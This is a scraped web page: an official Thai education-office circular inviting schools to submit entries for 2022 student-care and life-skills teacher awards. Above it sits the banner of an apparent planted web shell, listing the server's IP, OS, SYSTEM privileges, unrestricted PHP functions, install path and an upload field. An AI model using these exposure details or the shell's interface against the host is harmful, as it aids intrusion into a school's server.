| Server IP : 104.21.80.248 / Your IP : 162.159.115.41 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myschool/suanphung/data/tkk2text/ |
Upload File : |
<p>เรียน ผู้อำนวยการโรงเรียนสวนผึ้งวิทยา</p> <p> ตามหนังสือที่อ้างถึง สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน ได้จัดส่งคู่มือการคัดเลือก สำนักงานเขตพื้นที่การศึกษาและสถานศึกษาเพื่อรับรางวัลระบบการดูแลช่วยเหลือนักเรียน และคู่มือการคัดเลือกครูต้นแบบการจัดกำรเรียนรู้บูรณาการทักษะชีวิต ประจำปี ๒๕๖๕ ให้สำนักงานเขตพื้นที่การศึกษาทุกแห่งเพื่อเป็นข้อมูลการดำเนินงานในส่วนที่เกี่ยวข้อง ความละเอียดแจ้งแล้วนั้น</p> <p> ในการนี้ สำนักงานคณะกรรมการการศึกษาขั้นพื้นฐาน ได้เปลี่ยนแปลงกำหนดการและรายละเอียดการในคู่มือข้างต้น เพื่อให้การดำเนินการมีประสิทธิภาพมากขึ้น สำนักงานเขตพื้นที่ก่รศึกษามัธยมศึกษาราชบุรี จึงแจ้งมายังสถานศึกษาในสังกัดที่สนใจส่งผลงานเพื่อเข้ารับการคัดเลือกในระดับสำนักงานเขตพื้นที่การศึกษา ดำเนินการดังนี้</p> <p> 1. สถานศึกษาส่งประเมินตนเองและส่งผลงานเพื่อเข้ารับการคัดเลือกรับรางวัลระบบการดูแล ช่วยเหลือนักเรียน ตามหลักเกณฑ์และวิธีการที่กำหนดในคู่มือ (สิ่งที่ส่งมาด้วย 1) พร้อมรูปเล่ม จำนวน 2 เล่ม มายังกลุ่มส่งเสริมการจัดการศึกษา ภายในวันที่ 31 พฤษภาคม 2565 พร้อมบันทึกไฟล์ PDF ส่งทาง Email : [email protected]</p> <p> 2. สถานศึกษาส่งผลงานครูเพื่อเข้ารับการคัดเลือกรับรางวัลครูต้นแบบการจัดการเรียนรู้บูรณาการทักษะชีวิต ตามหลักเกณฑ์และวิธีการที่กำหนดในคู่มือ (สิ่งที่ส่งมาด้วย 2) พร้อมรูปเล่ม จำนวน 2 เล่ม มายังกลุ่มส่งเสริมการจัดการศึกษา ภายในวันอังคารที่ 31 พฤษภาคม 2565 พร้อมบันทึกไฟล์PDF ส่งทาง Email : [email protected]</p> <p> ทั้งนี้ ขอให้ศึกษาคู่มือการคัดเลือกสถานศึกษาเพื่อรับรางวัลระบบการดูแลช่วยเหลือนักเรียน ประจำปี 2565 และคู่มือการคัดเลือกครูต้นแบบการจัดการเรียนรู้บูรณาการทักษะชีวิต ประจำปี 2565 ตามสิ่งที่ส่งมาด้วย 1 และ 2 อย่างละเอียด</p> <p> จึงเรียนมาเพื่อทราบและดำเนินการต่อไป </p>